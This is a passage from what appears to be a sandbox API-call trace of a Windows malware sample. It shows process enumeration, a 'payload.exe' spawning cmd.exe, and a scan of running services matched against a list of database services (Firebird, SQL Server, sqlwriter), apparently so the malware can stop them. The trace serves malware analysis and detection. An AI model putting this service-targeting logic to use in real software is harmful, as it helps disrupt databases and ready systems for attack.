lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0060.383] lstrlenW (lpString="conservative.exe") returned 16 [0060.383] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0060.384] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0060.384] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0060.385] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0060.385] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0060.386] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0060.386] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0060.387] lstrlenW (lpString="gods violations duke.exe") returned 24 [0060.387] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0060.388] lstrlenW (lpString="dllhost.exe") returned 11 [0060.388] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.388] lstrlenW (lpString="conhost.exe") returned 11 [0060.388] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.389] lstrlenW (lpString="conhost.exe") returned 11 [0060.389] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0060.390] lstrlenW (lpString="payload.exe") returned 11 [0060.390] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.391] lstrlenW (lpString="cmd.exe") returned 7 [0060.391] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.391] lstrlenW (lpString="conhost.exe") returned 11 [0060.391] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0060.392] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0060.392] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.393] lstrlenW (lpString="conhost.exe") returned 11 [0060.393] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.394] lstrlenW (lpString="svchost.exe") returned 11 [0060.394] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0060.394] lstrlenW (lpString="mode.com") returned 8 [0060.394] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0060.395] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0060.395] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0 [0060.396] CloseHandle (hObject=0x32c) returned 1 [0060.396] Sleep (dwMilliseconds=0x1f4) [0060.902] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6cedb8 [0060.902] EnumServicesStatusExW (in: hSCManager=0x6cedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0060.903] GetLastError () returned 0xea [0060.903] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1d6a) returned 0x6f6108 [0060.903] EnumServicesStatusExW (in: hSCManager=0x6cedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6108, cbBufSize=0x1d6a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6108, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0060.904] CloseServiceHandle (hSCObject=0x6cedb8) returned 1 [0060.904] lstrlenW (lpString="Appinfo") returned 7 [0060.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.904] lstrlenW (lpString="AppXSvc") returned 7 [0060.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0060.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0060.904] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0060.904] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0060.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0060.904] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.904] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.904] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.904] lstrlenW (lpString="Audiosrv") returned 8 [0060.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0060.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0060.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0060.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0060.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0060.905] lstrlenW (lpString="BFE") returned 3 [0060.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.905] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.905] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.905] lstrlenW (lpString="BITS") returned 4 [0060.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0060.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0060.905] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0060.905] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0060.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0060.905] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0060.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0060.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0060.905] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0060.905] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0060.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0060.905] lstrlenW (lpString="CDPSvc") returned 6 [0060.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0060.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0060.905] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0060.905] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0060.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0060.905] lstrlenW (lpString="ClickToRunSvc") returned 13 [0060.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0060.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0060.905] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0060.905] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0060.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0060.905] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0060.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0060.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0060.905] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0060.905] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0060.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0060.906] lstrlenW (lpString="CryptSvc") returned 8 [0060.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.906] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.906] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.906] lstrlenW (lpString="DcomLaunch") returned 10 [0060.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.906] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.906] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.906] lstrlenW (lpString="DeviceAssociationService") returned 24 [0060.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0060.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0060.906] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0060.906] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0060.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0060.906] lstrlenW (lpString="Dhcp") returned 4 [0060.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.906] lstrlenW (lpString="Dnscache") returned 8 [0060.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.906] lstrlenW (lpString="DoSvc") returned 5 [0060.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0060.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0060.907] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0060.907] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0060.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0060.907] lstrlenW (lpString="DPS") returned 3 [0060.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.907] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.907] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.907] lstrlenW (lpString="DusmSvc") returned 7 [0060.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0060.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0060.907] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0060.907] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0060.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0060.907] lstrlenW (lpString="EventLog") returned 8 [0060.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0060.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0060.907] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0060.907] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0060.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0060.907] lstrlenW (lpString="EventSystem") returned 11 [0060.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.907] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.907] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.907] lstrlenW (lpString="FontCache") returned 9 [0060.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0060.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0060.907] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0060.907] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0060.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0060.907] lstrlenW (lpString="gpsvc") returned 5 [0060.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.908] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.908] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.908] lstrlenW (lpString="iphlpsvc") returned 8 [0060.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.908] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.908] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.908] lstrlenW (lpString="KeyIso") returned 6 [0060.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0060.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0060.908] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0060.908] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0060.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0060.908] lstrlenW (lpString="LanmanServer") returned 12 [0060.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.908] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.908] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.908] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.908] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.908] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.908] lstrlenW (lpString="lfsvc") returned 5 [0060.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0060.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0060.908] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0060.908] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0060.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0060.908] lstrlenW (lpString="lmhosts") returned 7 [0060.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.909] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.909] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.909] lstrlenW (lpString="LSM") returned 3 [0060.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0060.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0060.909] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0060.909] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0060.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0060.909] lstrlenW (lpString="MpsSvc") returned 6 [0060.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.909] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.909] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.909] lstrlenW (lpString="NcbService") returned 10 [0060.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0060.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0060.909] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0060.909] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0060.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0060.909] lstrlenW (lpString="netprofm") returned 8 [0060.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.909] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.909] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.909] lstrlenW (lpString="NlaSvc") returned 6 [0060.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.909] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.909] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.910] lstrlenW (lpString="nsi") returned 3 [0060.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.910] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.910] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.910] lstrlenW (lpString="PcaSvc") returned 6 [0060.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.910] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.910] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.910] lstrlenW (lpString="PlugPlay") returned 8 [0060.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.910] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.910] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.910] lstrlenW (lpString="Power") returned 5 [0060.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.910] lstrlenW (lpString="ProfSvc") returned 7 [0060.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.910] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.910] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.910] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.910] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.911] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.911] lstrlenW (lpString="RpcSs") returned 5 [0060.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.911] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.911] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.911] lstrlenW (lpString="SamSs") returned 5 [0060.911] lstrcmpiW 